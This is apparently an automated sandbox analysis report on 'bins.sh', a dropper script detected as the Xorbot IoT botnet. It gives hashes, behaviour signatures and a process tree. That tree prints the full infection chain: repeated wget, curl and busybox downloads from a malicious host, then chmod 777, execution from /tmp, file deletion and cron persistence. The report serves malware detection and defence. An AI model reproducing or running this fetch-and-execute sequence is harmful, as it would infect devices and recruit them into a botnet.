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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/01/2025, 04:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    16b5d182bd50c71c5ebba5992db2202d

  • SHA1

    f963b5366117ce819f60143133ecf7a204331c87

  • SHA256

    9eac4c35a3229382569a9ffbb6466342b9f6cb23b771e49415e8999ad5cd0b35

  • SHA512

    1a86922da03a58d349ed234a52c60cefcaaaeb36b1d6386cd5f4f8a098929ce02220ed4b8858fed4938441ecfd212a0639d9998a41a42c92c395c1b80dfb378e

  • SSDEEP

    96:Y5RvyHbvPjpIWLIK/TBUYjLLnhWLttQvDLO+kLXrhrLKKKCKgpF8L2mGUA8mLIWm:4oZWxpmz7gpF8eMKBz7gpFp

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1051) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:739
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:742
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:745
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:769
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:771
        • /bin/chmod
          chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • File and Directory Permissions Modification
          PID:772
        • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Executes dropped EXE
          PID:773
        • /bin/rm
          rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
            PID:775
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:776
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:785
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:821
          • /bin/chmod
            chmod 777 TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • File and Directory Permissions Modification
            PID:825
          • /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            ./TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Executes dropped EXE
            PID:826
          • /bin/rm
            rm TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
              PID:828
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:829
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:860
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • System Network Configuration Discovery
              PID:865
            • /bin/chmod
              chmod 777 h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • File and Directory Permissions Modification
              PID:866
            • /tmp/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              ./h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • Executes dropped EXE
              PID:867
            • /bin/rm
              rm h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
                PID:869
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:870
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:871
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • System Network Configuration Discovery
                PID:873
              • /bin/chmod
                chmod 777 UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • File and Directory Permissions Modification
                PID:874
              • /tmp/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                ./UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • Executes dropped EXE
                PID:875
              • /bin/rm
                rm UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                  PID:877
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:878
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:879
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:881
                • /bin/chmod
                  chmod 777 PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • File and Directory Permissions Modification
                  PID:882
                • /tmp/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  ./PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • Executes dropped EXE
                  PID:883
                • /bin/rm
                  rm PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                    PID:885
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:886
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:887
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • System Network Configuration Discovery
                    PID:889
                  • /bin/chmod
                    chmod 777 u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • File and Directory Permissions Modification
                    PID:890
                  • /tmp/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    ./u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • Executes dropped EXE
                    PID:891
                  • /bin/rm
                    rm u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                      PID:893
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:894
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:895
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:897
                    • /bin/chmod
                      chmod 777 zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:898
                    • /tmp/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      ./zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:899
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:901
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:902
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:903
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:904
                          • /bin/rm
                            rm zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                            2⤵
                              PID:906
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • System Network Configuration Discovery
                              PID:909
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • System Network Configuration Discovery
                              PID:910
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:912
                            • /bin/chmod
                              chmod 777 H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • File and Directory Permissions Modification
                              PID:913
                            • /tmp/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              ./H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • Executes dropped EXE
                              PID:914
                            • /bin/rm
                              rm H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                                PID:916
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                2⤵
                                • System Network Configuration Discovery
                                PID:917
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                2⤵
                                • System Network Configuration Discovery
                                PID:918
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                2⤵
                                • System Network Configuration Discovery
                                PID:920
                              • /bin/chmod
                                chmod 777 3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                2⤵
                                • File and Directory Permissions Modification
                                PID:921
                              • /tmp/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                ./3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                2⤵
                                  PID:922
                                • /bin/rm
                                  rm 3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                  2⤵
                                    PID:923
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:924
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    PID:925
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:927
                                  • /bin/chmod
                                    chmod 777 pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1008
                                  • /tmp/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                    ./pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                    2⤵
                                      PID:1017
                                    • /bin/rm
                                      rm pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                      2⤵
                                        PID:1022
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:1023

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /tmp/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd

                                      Filesize

                                      99KB

                                      MD5

                                      9438d9bc392bcf300a5583b6df5bc8f6

                                      SHA1

                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                      SHA256

                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                      SHA512

                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                    • /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B

                                      Filesize

                                      112KB

                                      MD5

                                      05d7857dcead18bbd86d2935f591873c

                                      SHA1

                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                      SHA256

                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                      SHA512

                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                    • /tmp/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4

                                      Filesize

                                      111KB

                                      MD5

                                      ca897a38f23ec23521ce0b1b83f8422d

                                      SHA1

                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                      SHA256

                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                      SHA512

                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                    • /tmp/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG

                                      Filesize

                                      177KB

                                      MD5

                                      786d75a158fe731feca3880f436082c0

                                      SHA1

                                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                      SHA256

                                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                      SHA512

                                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                    • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /tmp/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /var/spool/cron/crontabs/tmp.MuR6yg

                                      Filesize

                                      210B

                                      MD5

                                      379030728f8d3dc0cd245dc4e0b062b6

                                      SHA1

                                      de1936530f684f8f7ba1fe45a0cb555e1ae18d09

                                      SHA256

                                      65c3fc19c66a7304d3b721e058edca9dfa353c41d9504619186d2b4bde9bdfd0

                                      SHA512

                                      975822f62c7107afc2876390f20abd0e7f3610e9bb477ef354ec18888655f50ab3ec512a7330a46a8e8e110c17dd1fc837230ff605ee543dfddfecd165006939